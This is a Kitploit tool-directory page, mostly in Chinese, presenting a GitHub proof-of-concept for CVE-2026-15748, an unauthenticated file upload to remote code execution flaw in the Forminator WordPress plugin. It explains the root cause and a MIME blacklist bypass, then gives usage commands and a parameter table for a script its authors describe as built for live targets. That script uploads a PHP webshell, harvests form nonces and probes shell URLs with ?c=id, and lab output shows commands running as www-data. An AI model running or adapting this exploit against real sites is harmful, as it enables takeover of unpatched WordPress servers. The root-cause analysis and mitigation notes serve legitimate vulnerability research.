Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - 未认证的任意文件上传(通过伪造的上传字段配置) | Kitploit
工具/GitHubGitHub/ubaydev/cve-2026-15748
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试红队
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - 未认证的任意文件上传(通过伪造的上传字段配置)

查看仓库
2天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-15748 — Forminator Forms 未认证任意文件上传 → RCE

CVSS 9.8(严重) · 受影响:Forminator <= 1.56.1 · 已修复:1.56.2 研究人员:daroo(Wordfence 漏洞赏金计划,$2,048)· 约 60 万活跃安装 分析文章:wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

根因链条

通过伪造的 Select 字段值串联起三个弱点:

  1. 嵌套字段数组无清理处理 — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() 会遍历每个已存储字段。对于已存储的 Select 字段 select-1, $field_data = prepared_data['select-1'](攻击者可控的嵌套数组)。当其携带 return 时,该数组会整体追加到 field_data_array(front-action.php 约第 1088 行), 发生在任何逐字段清理/校验之前。maybe_handle_custom_option() 不会剥离这些内容。

  2. 不可信的字段配置在上传时被信任 — Forminator_CForm_Front_Action::process_uploads() 遍历 field_data_array,信任伪造的 field_type == 'upload',使用伪造的 name 选择 $_FILES 输入,并将伪造的 field_array 作为受信任配置传入 Forminator_Upload::handle_file_upload()。

  3. 黑名单精确键绕过 — forminator_allowed_mime_types() 会剥离字面键 php,但 wp_check_filetype() 将键视为正则表达式。键 ph(p) 绕过了黑名单却仍能匹配 .php 后缀。additional-type = ph(p)|text/x-php 使 .php 文件通过校验。

可利用条件

已发布的表单必须同时包含文件上传字段和 Select 字段。Select 仅作为载体。

执行注意事项(实验室已验证)

  • 任意 .php 文件上传到磁盘默认即可成功(写入无需特殊配置)。
  • RCE 要求上传根目录不存在 Apache .htaccess。 Forminator 默认根目录和自定义 根目录都会生成一个阻止 PHP 的 .htaccess(SetHandler none / RemoveHandler)。仅当该 .htaccess 不存在时 RCE 才会触发——即分析文章中描述的“自定义存储根目录在前端请求期间创建, 而 insert_with_markers() 未被加载”的场景。
  • 在实验室中,我们通过使用自定义存储根目录并模拟无 .htaccess 状态实现了 RCE。

上传路径与哈希(对实际测试很重要)

  • 默认根目录: wp-content/uploads/forminator/ → 文件位于 wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>。
  • 自定义根目录: 如果管理员设置了 forminator_custom_upload_root(例如 cveuploads),文件将存放于 wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>。
  • hash 即 wp_hash($form_id) — 由站点的 AUTH 盐派生,因此无法从外部预测。 poc.py 会打印路径模式;要补全它,您必须通过 --form-hash 恢复哈希(例如目录列表、 已有上传文件的 URL/日志、管理后台条目等)。
  • 上传文件名 = wp_generate_password(12,false,false) . '-' . <original> → 例如 cX3fRjMDDu03-shell.php(12 位随机字母数字字符 + - + 原始名称)。

用法 — poc.py

设计上以实际目标优先;本地实验室辅助功能(文件系统扫描、.htaccess 移除)仅限 http://wordpresslab.test / http://localhost 使用。

root@kitploit:~
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

参数

--auto 值映射(从表单 HTML 采集)

跳过的字段:内部字段(action/form_id/nonce/...)、type="file"(upload-*)、select-* (漏洞载体)、calculation-*(计算字段)以及外部插件字段(wpforms[...])。

实验室复现(wordpresslab.test,WP 6.9.4 + Forminator 1.56.1)

环境搭建:

  • 包含真实上传字段 + Select 字段的表单(通过 build_form.php 和 Forminator_Form_Model API 构建)。
  • 启用自定义上传存储根目录(forminator_custom_upload=1,forminator_custom_upload_root=cveuploads) 以便演示 RCE。cveuploads/ 是实验室产物,并非 Forminator 默认配置。
  • 设计说明: 为了获得干净的 success=True,伪造的 name 应与真实上传字段的 element_id 不同。碰撞名称仍会上传文件,但真实字段还会运行自身的默认 MIME 检查 → 响应会报告错误,而 shell 此时已经落盘。

原始证据(实验室运行):

root@kitploit:~
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php

[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data

# .htaccess present (protected): request returns raw PHP source (not executed)

文件

  • poc.py — 面向实际目标的 PoC(自动发现、自动填写、verify-url、本地 RCE 辅助)
  • build_form.php — 通过模型 API 以编程方式构建实验室表单(上传 + select)
  • README.md — 本文档

缓解措施

  • 升级到 Forminator >= 1.56.2(阻止 MIME 黑名单绕过 + 受信任字段配置路径)。
  • 确保任何自定义上传存储根目录都受到 Forminator .htaccess/index 保护机制的覆盖。
  • 仅对您已获授权测试的目标运行 PoC。
下载工具
参数说明
--target基础 URL(当没有 --page-id 或手动指定时为完整页面 URL)
--page-id文章 ID;若为空,则直接抓取目标 URL 以获取 nonce/form_id
--form-id, --nonce跳过发现流程;仍会抓取页面用于 --auto 采集
--upload-field真实的上传字段名(默认 upload-1)
--forge-name伪造的 $_FILES 载体(默认 = 真实名称,即碰撞模式;使用不同的名称可获得干净的 success=True)
--select要使用的 Select 字段(默认 select-1)
--extra name=value强制指定字段值(可重复;多个值用 --extra 'checkbox-1[]=a+b')
--auto / --no-auto从 HTML 采集真实表单字段并按类型自动填写合理值(默认开启)
--upload-root相对上传根目录(默认 wp-content/uploads/forminator;自定义根目录可设为例如 wp-content/uploads/cveuploads)
--form-hash上传目录中的 <hash> 部分 → 补全/打印具体 URL
--verify-url实际目标:用 ?c=id/?c=whoami 探测候选 shell URL
--find-shell仅限本地(wordpresslab.test/localhost):查找最新的 *-shell.php,移除 .htaccess,执行命令
--no-htaccess打印本地实验室的 .htaccess 移除说明
字段类型生成的值
email / 名称含 emailauto<rand>@mailinator.com
tel / 名称含 phone10 位随机数字
url / 名称含 urlhttps://example.com/<rand>
number随机 1–9999
date2026-08-19
checkbox/radio 组 name[]第一个选项值(扫描所有同名输入)
单个 checkbox/radiovalue 属性,回退为 checked
<select>(非载体)第一个非空选项
<textarea>随机文本
纯文本随机 10 个字符